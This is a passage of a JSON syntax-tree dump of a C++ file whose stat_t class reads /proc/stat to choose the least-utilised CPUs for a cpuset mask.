"end_point": {"row": 14, "column": 70}}, {"id": 46, "type": "return_statement", "text": "return (first.tdiff < second.tdiff);", "parent": 35, "children": [47], "start_point": {"row": 16, "column": 2}, "end_point": {"row": 16, "column": 38}}, {"id": 47, "type": "parenthesized_expression", "text": "(first.tdiff < second.tdiff)", "parent": 46, "children": [48], "start_point": {"row": 16, "column": 9}, "end_point": {"row": 16, "column": 37}}, {"id": 48, "type": "binary_expression", "text": "first.tdiff < second.tdiff", "parent": 47, "children": [49, 52, 53], "start_point": {"row": 16, "column": 10}, "end_point": {"row": 16, "column": 36}}, {"id": 49, "type": "field_expression", "text": "first.tdiff", "parent": 48, "children": [50, 51], "start_point": {"row": 16, "column": 10}, "end_point": {"row": 16, "column": 21}}, {"id": 50, "type": "identifier", "text": "first", "parent": 49, "children": [], "start_point": {"row": 16, "column": 10}, "end_point": {"row": 16, "column": 15}}, {"id": 51, "type": "field_identifier", "text": "tdiff", "parent": 49, "children": [], "start_point": {"row": 16, "column": 16}, "end_point": {"row": 16, "column": 21}}, {"id": 52, "type": "<", "text": "<", "parent": 48, "children": [], "start_point": {"row": 16, "column": 22}, "end_point": {"row": 16, "column": 23}}, {"id": 53, "type": "field_expression", "text": "second.tdiff", "parent": 48, "children": [54, 55], "start_point": {"row": 16, "column": 24}, "end_point": {"row": 16, "column": 36}}, {"id": 54, "type": "identifier", "text": "second", "parent": 53, "children": [], "start_point": {"row": 16, "column": 24}, "end_point": {"row": 16, "column": 30}}, {"id": 55, "type": "field_identifier", "text": "tdiff", "parent": 53, "children": [], "start_point": {"row": 16, "column": 31}, "end_point": {"row": 16, "column": 36}}, {"id": 56, "type": "function_definition", "text": "class stat_t {\nprivate:\n FILE *fd;\n std::vector< unsigned long long > lasttimes;\n\npublic:\n explicit stat_t(unsigned cpuc) :\n fd(fopen(\"/proc/stat\", \"r\")),\n lasttimes(cpuc)\n {\n if (!fd) {\n std::cerr << \"ERR: couldn't open '/proc/stat'\" << std::endl;\n return;\n }\n\n fseek(fd, 0, SEEK_SET);\n\n char *line = NULL;\n size_t len = 0;\n ssize_t read;\n // first line is a don't care -> summary\n getline(&line, &len, fd);\n\n unsigned t_cpu = 0;\n while ((read = getline(&line, &len, fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n ++t_cpu;\n }\n free(line);\n }\n ~stat_t(void)\n {\n if (this->fd)\n fclose(this->fd);\n }\n\n cpuset_t lowest_utilization(cpuset_t& avail_cpu_mask,\n unsigned cpu_req_amount)\n {\n cpuset_t mask(lasttimes.size());\n if (!this->fd)\n return mask;\n\n fseek(this->fd, 0, SEEK_SET);\n\n char *line = NULL;\n size_t len = 0;\n ssize_t read;\n // first line is a don't care -> summary\n getline(&line, &len, this->fd);\n\n std::list< cpu_util_t > g;\n unsigned t_cpu = 0;\n while ((read = getline(&line, &len, this->fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n\n unsigned long long cmp_diff = (utime + ntime + stime) - this->lasttimes[ t_cpu ];\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n\n if (avail_cpu_mask.isset_bit(t_cpu))\n g.push_back({ cmp_diff, t_cpu });\n\n ++t_cpu;\n }\n free(line);\n\n g.sort(cmp_sort);\n\n for (unsigned c = 0; c < cpu_req_amount\n && !g.empty(); ++c) {\n mask.set_bit(g.front().cpu);\n g.pop_front();\n }\n\n return mask;\n }\n}", "parent": 0, "children": [57], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 114, "column": 1}}, {"id": 57, "type": "identifier", "text": "stat_t", "parent": 56, "children": [], "start_point": {"row": 19, "column": 6}, "end_point": {"row": 19, "column": 12}}, {"id": 58, "type": "labeled_statement", "text": "private:\n FILE *fd;", "parent": 56, "children": [59], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 21, "column": 11}}, {"id": 59, "type": "declaration", "text": "FILE *fd;", "parent": 58, "children": [60, 61], "start_point": {"row": 21, "column": 2}, "end_point": {"row": 21, "column": 11}}, {"id": 60, "type": "type_identifier", "text": "FILE", "parent": 59, "children": [], "start_point": {"row": 21, "column": 2}, "end_point": {"row": 21, "column": 6}}, {"id": 61, "type": "pointer_declarator", "text": "*fd", "parent": 59, "children": [62, 63], "start_point": {"row": 21, "column": 7}, "end_point": {"row": 21, "column": 10}}, {"id": 62, "type": "*", "text": "*", "parent": 61, "children": [], "start_point": {"row": 21, "column": 7}, "end_point": {"row": 21, "column": 8}}, {"id": 63, "type": "identifier", "text": "fd", "parent": 61, "children": [], "start_point": {"row": 21, "column": 8}, "end_point": {"row": 21, "column": 10}}, {"id": 64, "type": "labeled_statement", "text": "std::vector< unsigned long long > lasttimes;", "parent": 56, "children": [65, 66, 72], "start_point": {"row": 22, "column": 2}, "end_point": {"row": 22, "column": 46}}, {"id": 65, "type": "statement_identifier", "text": "std", "parent": 64, "children": [], "start_point": {"row": 22, "column": 2}, "end_point": {"row": 22, "column": 5}}, {"id": 66, "type": "ERROR", "text": ":vector< unsigned long", "parent": 64, "children": [67, 71], "start_point": {"row": 22, "column": 6}, "end_point": {"row": 22, "column": 28}}, {"id": 67, "type": "binary_expression", "text": "vector< unsigned", "parent": 66, "children": [68, 69, 70], "start_point": {"row": 22, "column": 7}, "end_point": {"row": 22, "column": 23}}, {"id": 68, "type": "identifier", "text": "vector", "parent": 67, "children": [], "start_point": {"row": 22, "column": 7}, "end_point": {"row": 22, "column": 13}}, {"id": 69, "type": "<", "text": "<", "parent": 67, "children": [], "start_point": {"row": 22, "column": 13}, "end_point": {"row": 22, "column": 14}}, {"id": 70, "type": "identifier", "text": "unsigned", "parent": 67, "children": [], "start_point": {"row": 22, "column": 15}, "end_point": {"row": 22, "column": 23}}, {"id": 71, "type": "identifier", "text": "long", "parent": 66, "children": [], "start_point": {"row": 22, "column": 24}, "end_point": {"row": 22, "column": 28}}, {"id": 72, "type": "declaration", "text": "long > lasttimes;", "parent": 64, "children": [73, 75, 77], "start_point": {"row": 22, "column": 29}, "end_point": {"row": 22, "column": 46}}, {"id": 73, "type": "sized_type_specifier", "text": "long", "parent": 72, "children": [74], "start_point": {"row": 22, "column": 29}, "end_point": {"row": 22, "column": 33}}, {"id": 74, "type": "long", "text": "long", "parent": 73, "children": [], "start_point": {"row": 22, "column": 29}, "end_point": {"row": 22, "column": 33}}, {"id": 75, "type": "ERROR", "text": ">", "parent": 72, "children": [76], "start_point": {"row": 22, "column": 34}, "end_point": {"row": 22, "column": 35}}, {"id": 76, "type": ">", "text": ">", "parent": 75, "children": [], "start_point": {"row": 22, "column": 34}, "end_point": {"row": 22, "column": 35}}, {"id": 77, "type": "identifier", "text": "lasttimes", "parent": 72, "children": [], "start_point": {"row": 22, "column": 36}, "end_point": {"row": 22, "column": 45}}, {"id": 78, "type": "labeled_statement", "text": "public:\n explicit stat_t(unsigned cpuc) :\n fd(fopen(\"/proc/stat\", \"r\")),\n lasttimes(cpuc)", "parent": 56, "children": [79], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 27, "column": 19}}, {"id": 79, "type": "ERROR", "text": ":\n explicit stat_t(unsigned cpuc)", "parent": 78, "children": [80, 81], "start_point": {"row": 24, "column": 6}, "end_point": {"row": 25, "column": 32}}, {"id": 80, "type": "type_identifier", "text": "explicit", "parent": 79, "children": [], "start_point": {"row": 25, "column": 2}, "end_point": {"row": 25, "column": 10}}, {"id": 81, "type": "function_declarator", "text": "stat_t(unsigned cpuc)", "parent": 79, "children": [82, 83], "start_point": {"row": 25, "column": 11}, "end_point": {"row": 25, "column": 32}}, {"id": 82, "type": "identifier", "text": "stat_t", "parent": 81, "children": [], "start_point": {"row": 25, "column": 11}, "end_point": {"row": 25, "column": 17}}, {"id": 83, "type": "parameter_list", "text": "(unsigned cpuc)", "parent": 81, "children": [84], "start_point": {"row": 25, "column": 17}, "end_point": {"row": 25, "column": 32}}, {"id": 84, "type": "parameter_declaration", "text": "unsigned cpuc", "parent": 83, "children": [85, 87], "start_point": {"row": 25, "column": 18}, "end_point": {"row": 25, "column": 31}}, {"id": 85, "type": "sized_type_specifier", "text": "unsigned", "parent": 84, "children": [86], "start_point": {"row": 25, "column": 18}, "end_point": {"row": 25, "column": 26}}, {"id": 86, "type": "unsigned", "text": "unsigned", "parent": 85, "children": [], "start_point": {"row": 25, "column": 18}, "end_point": {"row": 25, "column": 26}}, {"id": 87, "type": "identifier", "text": "cpuc", "parent": 84, "children": [], "start_point": {"row": 25, "column": 27}, "end_point": {"row": 25, "column": 31}}, {"id": 88, "type": "comma_expression", "text": "fd(fopen(\"/proc/stat\", \"r\")),\n lasttimes(cpuc)", "parent": 78, "children": [89, 97], "start_point": {"row": 26, "column": 4}, "end_point": {"row": 27, "column": 19}}, {"id": 89, "type": "call_expression", "text": "fd(fopen(\"/proc/stat\", \"r\"))", "parent": 88, "children": [90, 91], "start_point": {"row": 26, "column": 4}, "end_point": {"row": 26, "column": 32}}, {"id": 90, "type": "identifier", "text": "fd", "parent": 89, "children": [], "start_point": {"row": 26, "column": 4}, "end_point": {"row": 26, "column": 6}}, {"id": 91, "type": "argument_list", "text": "(fopen(\"/proc/stat\", \"r\"))", "parent": 89, "children": [92], "start_point": {"row": 26, "column": 6}, "end_point": {"row": 26, "column": 32}}, {"id": 92, "type": "call_expression", "text": "fopen(\"/proc/stat\", \"r\")", "parent": 91, "children": [93, 94], "start_point": {"row": 26, "column": 7}, "end_point": {"row": 26, "column": 31}}, {"id": 93, "type": "identifier", "text": "fopen", "parent": 92, "children": [], "start_point": {"row": 26, "column": 7}, "end_point": {"row": 26, "column": 12}}, {"id": 94, "type": "argument_list", "text": "(\"/proc/stat\", \"r\")", "parent": 92, "children": [95, 96], "start_point": {"row": 26, "column": 12}, "end_point": {"row": 26, "column": 31}}, {"id": 95, "type": "string_literal", "text": "\"/proc/stat\"", "parent": 94, "children": [], "start_point": {"row": 26, "column": 13}, "end_point": {"row": 26, "column": 25}}, {"id": 96, "type": "string_literal", "text": "\"r\"", "parent": 94, "children": [], "start_point": {"row": 26, "column": 27}, "end_point": {"row": 26, "column": 30}}, {"id": 97, "type": "call_expression", "text": "lasttimes(cpuc)", "parent": 88, "children": [98, 99], "start_point": {"row": 27, "column": 4}, "end_point": {"row": 27, "column": 19}}, {"id": 98, "type": "identifier", "text": "lasttimes", "parent": 97, "children": [], "start_point": {"row": 27, "column": 4}, "end_point": {"row": 27, "column": 13}}, {"id": 99, "type": "argument_list", "text": "(cpuc)", "parent": 97, "children": [100], "start_point": {"row": 27, "column": 13}, "end_point": {"row": 27, "column": 19}}, {"id": 100, "type": "identifier", "text": "cpuc", "parent": 99, "children": [], "start_point": {"row": 27, "column": 14}, "end_point": {"row": 27, "column": 18}}, {"id": 101, "type": "if_statement", "text": "if (!fd) {\n std::cerr << \"ERR: couldn't open '/proc/stat'\" << std::endl;\n return;\n }", "parent": 56, "children": [102], "start_point": {"row": 29, "column": 4}, "end_point": {"row": 32, "column": 5}}, {"id": 102, "type": "parenthesized_expression", "text": "(!fd)", "parent": 101, "children": [103], "start_point": {"row": 29, "column": 7}, "end_point": {"row": 29, "column": 12}}, {"id": 103, "type": "unary_expression", "text": "!fd", "parent": 102, "children": [104, 105], "start_point": {"row": 29, "column": 8}, "end_point": {"row": 29, "column": 11}}, {"id": 104, "type": "!", "text": "!", "parent": 103, "children": [], "start_point": {"row": 29, "column": 8}, "end_point": {"row": 29, "column": 9}}, {"id": 105, "type": "identifier", "text": "fd", "parent": 103, "children": [], "start_point": {"row": 29, "column": 9}, "end_point": {"row": 29, "column": 11}}, {"id": 106, "type": "labeled_statement", "text": "std::cerr << \"ERR: couldn't open '/proc/stat'\" << std::endl;", "parent": 101, "children": [107, 108], "start_point": {"row": 30, "column": 6}, "end_point": {"row": 30, "column": 66}}, {"id": 107, "type": "statement_identifier", "text": "std", "parent": 106, "children": [], "start_point": {"row": 30, "column": 6}, "end_point": {"row": 30, "column": 9}}, {"id": 108, "type": "ERROR", "text": "::cerr << \"ERR: couldn't open '/proc/stat'\" << std:", "parent": 106, "children": [109], "start_point": {"row": 30, "column": 9}, "end_point": {"row": 30, "column": 60}}, {"id": 109, "type": "binary_expression", "text": "cerr << \"ERR: couldn't open '/proc/stat'\" << std", "parent": 108, "children": [110, 114, 115], "start_point": {"row": 30, "column": 11}, "end_point": {"row": 30, "column": 59}}, {"id": 110, "type": "binary_expression", "text": "cerr << \"ERR: couldn't open '/proc/stat'\"", "parent": 109, "children": [111, 112, 113], "start_point": {"row": 30, "column": 11}, "end_point": {"row": 30, "column": 52}}, {"id": 111, "type": "identifier", "text": "cerr", "parent": 110, "children": [], "start_point": {"row": 30, "column": 11}, "end_point": {"row": 30, "column": 15}}, {"id": 112, "type": "<<", "text": "<<", "parent": 110, "children": [], "start_point": {"row": 30, "column": 16}, "end_point": {"row": 30, "column": 18}}, {"id": 113, "type": "string_literal", "text": "\"ERR: couldn't open '/proc/stat'\"", "parent": 110, "children": [], "start_point": {"row": 30, "column": 19}, "end_point": {"row": 30, "column": 52}}, {"id": 114, "type": "<<", "text": "<<", "parent": 109, "children": [], "start_point": {"row": 30, "column": 53}, "end_point": {"row": 30, "column": 55}}, {"id": 115, "type": "identifier", "text": "std", "parent": 109, "children": [], "start_point": {"row": 30, "column": 56}, "end_point": {"row": 30, "column": 59}}, {"id": 116, "type": "identifier", "text": "endl", "parent": 106, "children": [], "start_point": {"row": 30, "column": 61}, "end_point": {"row": 30, "column": 65}}, {"id": 117, "type": "return_statement", "text": "return;", "parent": 101, "children": [], "start_point": {"row": 31, "column": 6}, "end_point": {"row": 31, "column": 13}}, {"id": 118, "type": "call_expression", "text": "fseek(fd, 0, SEEK_SET)", "parent": 56, "children": [119, 120], "start_point": {"row": 34, "column": 4}, "end_point": {"row": 34, "column": 26}}, {"id": 119, "type": "identifier", "text": "fseek", "parent": 118, "children": [], "start_point": {"row": 34, "column": 4}, "end_point": {"row": 34, "column": 9}}, {"id": 120, "type": "argument_list", "text": "(fd, 0, SEEK_SET)", "parent": 118, "children": [121, 122, 123], "start_point": {"row": 34, "column": 9}, "end_point": {"row": 34, "column": 26}}, {"id": 121, "type": "identifier", "text": "fd", "parent": 120, "children": [], "start_point": {"row": 34, "column": 10}, "end_point": {"row": 34, "column": 12}}, {"id": 122, "type": "number_literal", "text": "0", "parent": 120, "children": [], "start_point": {"row": 34, "column": 14}, "end_point": {"row": 34, "column": 15}}, {"id": 123, "type": "identifier", "text": "SEEK_SET", "parent": 120, "children": [], "start_point": {"row": 34, "column": 17}, "end_point": {"row": 34, "column": 25}}, {"id": 124, "type": "declaration", "text": "char *line = NULL;", "parent": 56, "children": [125, 126], "start_point": {"row": 36, "column": 4}, "end_point": {"row": 36, "column": 22}}, {"id": 125, "type": "primitive_type", "text": "char", "parent": 124, "children": [], "start_point": {"row": 36, "column": 4}, "end_point": {"row": 36, "column": 8}}, {"id": 126, "type": "init_declarator", "text": "*line = NULL", "parent": 124, "children": [127, 130, 131], "start_point": {"row": 36, "column": 9}, "end_point": {"row": 36, "column": 21}}, {"id": 127, "type": "pointer_declarator", "text": "*line", "parent": 126, "children": [128, 129], "start_point": {"row": 36, "column": 9}, "end_point": {"row": 36, "column": 14}}, {"id": 128, "type": "*", "text": "*", "parent": 127, "children": [], "start_point": {"row": 36, "column": 9}, "end_point": {"row": 36, "column": 10}}, {"id": 129, "type": "identifier", "text": "line", "parent": 127, "children": [], "start_point": {"row": 36, "column": 10}, "end_point": {"row": 36, "column": 14}}, {"id": 130, "type": "=", "text": "=", "parent": 126, "children": [], "start_point": {"row": 36, "column": 15}, "end_point": {"row": 36, "column": 16}}, {"id": 131, "type": "null", "text": "NULL", "parent": 126, "children": [132], "start_point": {"row": 36, "column": 17}, "end_point": {"row": 36, "column": 21}}, {"id": 132, "type": "NULL", "text": "NULL", "parent": 131, "children": [], "start_point": {"row": 36, "column": 17}, "end_point": {"row": 36, "column": 21}}, {"id": 133, "type": "declaration", "text": "size_t len = 0;", "parent": 56, "children": [134, 135], "start_point": {"row": 37, "column": 4}, "end_point": {"row": 37, "column": 19}}, {"id": 134, "type": "primitive_type", "text": "size_t", "parent": 133, "children": [], "start_point": {"row": 37, "column": 4}, "end_point": {"row": 37, "column": 10}}, {"id": 135, "type": "init_declarator", "text": "len = 0", "parent": 133, "children": [136, 137, 138], "start_point": {"row": 37, "column": 11}, "end_point": {"row": 37, "column": 18}}, {"id": 136, "type": "identifier", "text": "len", "parent": 135, "children": [], "start_point": {"row": 37, "column": 11}, "end_point": {"row": 37, "column": 14}}, {"id": 137, "type": "=", "text": "=", "parent": 135, "children": [], "start_point": {"row": 37, "column": 15}, "end_point": {"row": 37, "column": 16}}, {"id": 138, "type": "number_literal", "text": "0", "parent": 135, "children": [], "start_point": {"row": 37, "column": 17}, "end_point": {"row": 37, "column": 18}}, {"id": 139, "type": "declaration", "text": "ssize_t read;", "parent": 56, "children": [140, 141], "start_point": {"row": 38, "column": 4}, "end_point": {"row": 38, "column": 17}}, {"id": 140, "type": "primitive_type", "text": "ssize_t", "parent": 139, "children": [], "start_point": {"row": 38, "column": 4}, "end_point": {"row": 38, "column": 11}}, {"id": 141, "type": "identifier", "text": "read", "parent": 139, "children": [], "start_point": {"row": 38, "column": 12}, "end_point": {"row": 38, "column": 16}}, {"id": 142, "type": "call_expression", "text": "getline(&line, &len, fd)", "parent": 56, "children": [143, 144], "start_point": {"row": 40, "column": 4}, "end_point": {"row": 40, "column": 28}}, {"id": 143, "type": "identifier", "text": "getline", "parent": 142, "children": [], "start_point": {"row": 40, "column": 4}, "end_point": {"row": 40, "column": 11}}, {"id": 144, "type": "argument_list", "text": "(&line, &len, fd)", "parent": 142, "children": [145, 147, 149], "start_point": {"row": 40, "column": 11}, "end_point": {"row": 40, "column": 28}}, {"id": 145, "type": "pointer_expression", "text": "&line", "parent": 144, "children": [146], "start_point": {"row": 40, "column": 12}, "end_point": {"row": 40, "column": 17}}, {"id": 146, "type": "identifier", "text": "line", "parent": 145, "children": [], "start_point": {"row": 40, "column": 13}, "end_point": {"row": 40, "column": 17}}, {"id": 147, "type": "pointer_expression", "text": "&len", "parent": 144, "children": [148], "start_point": {"row": 40, "column": 19}, "end_point": {"row": 40, "column": 23}}, {"id": 148, "type": "identifier", "text": "len", "parent": 147, "children": [], "start_point": {"row": 40, "column": 20}, "end_point": {"row": 40, "column": 23}}, {"id": 149, "type": "identifier", "text": "fd", "parent": 144, "children": [], "start_point": {"row": 40, "column": 25}, "end_point": {"row": 40, "column": 27}}, {"id": 150, "type": "declaration", "text": "unsigned t_cpu = 0;", "parent": 56, "children": [151, 153], "start_point": {"row": 42, "column": 4}, "end_point": {"row": 42, "column": 23}}, {"id": 151, "type": "sized_type_specifier", "text": "unsigned", "parent": 150, "children": [152], "start_point": {"row": 42, "column": 4}, "end_point": {"row": 42, "column": 12}}, {"id": 152, "type": "unsigned", "text": "unsigned", "parent": 151, "children": [], "start_point": {"row": 42, "column": 4}, "end_point": {"row": 42, "column": 12}}, {"id": 153, "type": "init_declarator", "text": "t_cpu = 0", "parent": 150, "children": [154, 155, 156], "start_point": {"row": 42, "column": 13}, "end_point": {"row": 42, "column": 22}}, {"id": 154, "type": "identifier", "text": "t_cpu", "parent": 153, "children": [], "start_point": {"row": 42, "column": 13}, "end_point": {"row": 42, "column": 18}}, {"id": 155, "type": "=", "text": "=", "parent": 153, "children": [], "start_point": {"row": 42, "column": 19}, "end_point": {"row": 42, "column": 20}}, {"id": 156, "type": "number_literal", "text": "0", "parent": 153, "children": [], "start_point": {"row": 42, "column": 21}, "end_point": {"row": 42, "column": 22}}, {"id": 157, "type": "while_statement", "text": "while ((read = getline(&line, &len, fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n ++t_cpu;\n }", "parent": 56, "children": [158], "start_point": {"row": 43, "column": 4}, "end_point": {"row": 56, "column": 5}}, {"id": 158, "type": "parenthesized_expression", "text": "((read = getline(&line, &len, fd)) != -1\n && t_cpu < lasttimes.size())", "parent": 157, "children": [159], "start_point": {"row": 43, "column": 10}, "end_point": {"row": 44, "column": 39}}, {"id": 159, "type": "binary_expression", "text": "(read = getline(&line, &len, fd)) != -1\n && t_cpu < lasttimes.size()", "parent": 158, "children": [160, 175, 176], "start_point": {"row": 43, "column": 11}, "end_point": {"row": 44, "column": 38}}, {"id": 160, "type": "binary_expression", "text": "(read = getline(&line, &len, fd)) != -1", "parent": 159, "children": [161, 173, 174], "start_point": {"row": 43, "column": 11}, "end_point": {"row": 43, "column": 50}}, {"id": 161, "type": "parenthesized_expression", "text": "(read = getline(&line, &len, fd))", "parent": 160, "children": [162], "start_point": {"row": 43, "column": 11}, "end_point": {"row": 43, "column": 44}}, {"id": 162, "type": "assignment_expression", "text": "read = getline(&line, &len, fd)", "parent": 161, "children": [163, 164, 165], "start_point": {"row": 43, "column": 12}, "end_point": {"row": 43, "column": 43}}, {"id": 163, "type": "identifier", "text": "read", "parent": 162, "children": [], "start_point": {"row": 43, "column": 12}, "end_point": {"row": 43, "column": 16}}, {"id": 164, "type": "=", "text": "=", "parent": 162, "children": [], "start_point": {"row": 43, "column": 17}, "end_point": {"row": 43, "column": 18}}, {"id": 165, "type": "call_expression", "text": "getline(&line, &len, fd)", "parent": 162, "children": [166, 167], "start_point": {"row": 43, "column": 19}, "end_point": {"row": 43, "column": 43}}, {"id": 166, "type": "identifier", "text": "getline", "parent": 165, "children": [], "start_point": {"row": 43, "column": 19}, "end_point": {"row": 43, "column": 26}}, {"id": 167, "type": "argument_list", "text": "(&line, &len, fd)", "parent": 165, "children": [168, 170, 172], "start_point": {"row": 43, "column": 26}, "end_point": {"row": 43, "column": 43}}, {"id": 168, "type": "pointer_expression", "text": "&line", "parent": 167, "children": [169], "start_point": {"row": 43, "column": 27}, "end_point": {"row": 43, "column": 32}}, {"id": 169, "type": "identifier", "text": "line", "parent": 168, "children": [], "start_point": {"row": 43, "column": 28}, "end_point": {"row": 43, "column": 32}}, {"id": 170, "type": "pointer_expression", "text": "&len", "parent": 167, "children": [171], "start_point": {"row": 43, "column": 34}, "end_point": {"row": 43, "column": 38}}, {"id": 171, "type": "identifier", "text": "len", "parent": 170, "children": [], "start_point": {"row": 43, "column": 35}, "end_point": {"row": 43, "column": 38}}, {"id": 172, "type": "identifier", "text": "fd", "parent": 167, "children": [], "start_point": {"row": 43, "column": 40}, "end_point": {"row": 43, "column": 42}}, {"id": 173, "type": "!=", "text": "!=", "parent": 160, "children": [], "start_point": {"row": 43, "column": 45}, "end_point": {"row": 43, "column": 47}}, {"id": 174, "type": "number_literal", "text": "-1", "parent": 160, "children": [], "start_point": {"row": 43, "column": 48}, "end_point": {"row": 43, "column": 50}}, {"id": 175, "type": "&&", "text": "&&", "parent": 159, "children": [], "start_point": {"row": 44, "column": 11}, "end_point": {"row": 44, "column": 13}}, {"id": 176, "type": "binary_expression", "text": "t_cpu < lasttimes.size()", "parent": 159, "children": [177, 178, 179], "start_point": {"row": 44, "column": 14}, "end_point": {"row": 44, "column": 38}}, {"id": 177, "type": "identifier", "text": "t_cpu", "parent": 176, "children": [], "start_point": {"row": 44, "column": 14}, "end_point": {"row": 44, "column": 19}}, {"id": 178, "type": "<", "text": "<", "parent": 176, "children": [], "start_point": {"row": 44, "column": 20}, "end_point": {"row": 44, "column": 21}}, {"id": 179, "type": "call_expression", "text": "lasttimes.size()", "parent": 176, "children": [180, 183], "start_point": {"row": 44, "column": 22}, "end_point": {"row": 44, "column": 38}}, {"id": 180, "type": "field_expression", "text": "lasttimes.size", "parent": 179, "children": [181, 182], "start_point": {"row": 44, "column": 22}, "end_point": {"row": 44, "column": 36}}, {"id": 181, "type": "identifier", "text": "lasttimes", "parent": 180, "children": [], "start_point": {"row": 44, "column": 22}, "end_point": {"row": 44, "column": 31}}, {"id": 182, "type": "field_identifier", "text": "size", "parent": 180, "children": [], "start_point": {"row": 44, "column": 32}, "end_point": {"row": 44, "column": 36}}, {"id": 183, "type": "argument_list", "text": "()", "parent": 179, "children": [], "start_point": {"row": 44, "column": 36}, "end_point": {"row": 44, "column": 38}}, {"id": 184, "type": "declaration", "text": "char *t_line = line;", "parent": 157, "children": [185, 186], "start_point": {"row": 45, "column": 6}, "end_point": {"row": 45, "column": 26}}, {"id": 185, "type": "primitive_type", "text": "char", "parent": 184, "children": [], "start_point": {"row": 45, "column": 6}, "end_point": {"row": 45, "column": 10}}, {"id": 186, "type": "init_declarator", "text": "*t_line = line", "parent": 184, "children": [187, 190, 191], "start_point": {"row": 45, "column": 11}, "end_point": {"row": 45, "column": 25}}, {"id": 187, "type": "pointer_declarator", "text": "*t_line", "parent": 186, "children": [188, 189], "start_point": {"row": 45, "column": 11}, "end_point": {"row": 45, "column": 18}}, {"id": 188, "type": "*", "text": "*", "parent": 187, "children": [], "start_point": {"row": 45, "column": 11}, "end_point": {"row": 45, "column": 12}}, {"id": 189, "type": "identifier", "text": "t_line", "parent": 187, "children": [], "start_point": {"row": 45, "column": 12}, "end_point": {"row": 45, "column": 18}}, {"id": 190, "type": "=", "text": "=", "parent": 186, "children": [], "start_point": {"row": 45, "column": 19}, "end_point": {"row": 45, "column": 20}}, {"id": 191, "type": "identifier", "text": "line", "parent": 186, "children": [], "start_point": {"row": 45, "column": 21}, "end_point": {"row": 45, "column": 25}}, {"id": 192, "type": "assignment_expression", "text": "t_line += 3", "parent": 157, "children": [193, 194, 195], "start_point": {"row": 46, "column": 6}, "end_point": {"row": 46, "column": 17}}, {"id": 193, "type": "identifier", "text": "t_line", "parent": 192, "children": [], "start_point": {"row": 46, "column": 6}, "end_point": {"row": 46, "column": 12}}, {"id": 194, "type": "+=", "text": "+=", "parent": 192, "children": [], "start_point": {"row": 46, "column": 13}, "end_point": {"row": 46, "column": 15}}, {"id": 195, "type": "number_literal", "text": "3", "parent": 192, "children": [], "start_point": {"row": 46, "column": 16}, "end_point": {"row": 46, "column": 17}}, {"id": 196, "type": "assignment_expression", "text": "t_line += t_cpu / 10", "parent": 157, "children": [197, 198, 199], "start_point": {"row": 47, "column": 6}, "end_point": {"row": 47, "column": 26}}, {"id": 197, "type": "identifier", "text": "t_line", "parent": 196, "children": [], "start_point": {"row": 47, "column": 6}, "end_point": {"row": 47, "column": 12}}, {"id": 198, "type": "+=", "text": "+=", "parent": 196, "children": [], "start_point": {"row": 47, "column": 13}, "end_point": {"row": 47, "column": 15}}, {"id": 199, "type": "binary_expression", "text": "t_cpu / 10", "parent": 196, "children": [200, 201, 202], "start_point": {"row": 47, "column": 16}, "end_point": {"row": 47, "column": 26}}, {"id": 200, "type": "identifier", "text": "t_cpu", "parent": 199, "children": [], "start_point": {"row": 47, "column": 16}, "end_point": {"row": 47, "column": 21}}, {"id": 201, "type": "/", "text": "/", "parent": 199, "children": [], "start_point": {"row": 47, "column": 22}, "end_point": {"row": 47, "column": 23}}, {"id": 202, "type": "number_literal", "text": "10", "parent": 199, "children": [], "start_point": {"row": 47, "column": 24}, "end_point": {"row": 47, "column": 26}}, {"id": 203, "type": "update_expression", "text": "++t_line", "parent": 157, "children": [204, 205], "start_point": {"row": 48, "column": 6}, "end_point": {"row": 48, "column": 14}}, {"id": 204, "type": "++", "text": "++", "parent": 203, "children": [], "start_point": {"row": 48, "column": 6}, "end_point": {"row": 48, "column": 8}}, {"id": 205, "type": "identifier", "text": "t_line", "parent": 203, "children": [], "start_point": {"row": 48, "column": 8}, "end_point": {"row": 48, "column": 14}}, {"id": 206, "type": "declaration", "text": "unsigned long long utime = strtoull(t_line, &t_line, 10);", "parent": 157, "children": [207, 211], "start_point": {"row": 49, "column": 6}, "end_point": {"row": 49, "column": 63}}, {"id": 207, "type": "sized_type_specifier", "text": "unsigned long long", "parent": 206, "children": [208, 209, 210], "start_point": {"row": 49, "column": 6}, "end_point": {"row": 49, "column": 24}}, {"id": 208, "type": "unsigned", "text": "unsigned", "parent": 207, "children": [], "start_point": {"row": 49, "column": 6}, "end_point": {"row": 49, "column": 14}}, {"id": 209, "type": "long", "text": "long", "parent": 207, "children": [], "start_point": {"row": 49, "column": 15}, "end_point": {"row": 49, "column": 19}}, {"id": 210, "type": "long", "text": "long", "parent": 207, "children": [], "start_point": {"row": 49, "column": 20}, "end_point": {"row": 49, "column": 24}}, {"id": 211, "type": "init_declarator", "text": "utime = strtoull(t_line, &t_line, 10)", "parent": 206, "children": [212, 213, 214], "start_point": {"row": 49, "column": 25}, "end_point": {"row": 49, "column": 62}}, {"id": 212, "type": "identifier", "text": "utime", "parent": 211, "children": [], "start_point": {"row": 49, "column": 25}, "end_point": {"row": 49, "column": 30}}, {"id": 213, "type": "=", "text": "=", "parent": 211, "children": [], "start_point": {"row": 49, "column": 31}, "end_point": {"row": 49, "column": 32}}, {"id": 214, "type": "call_expression", "text": 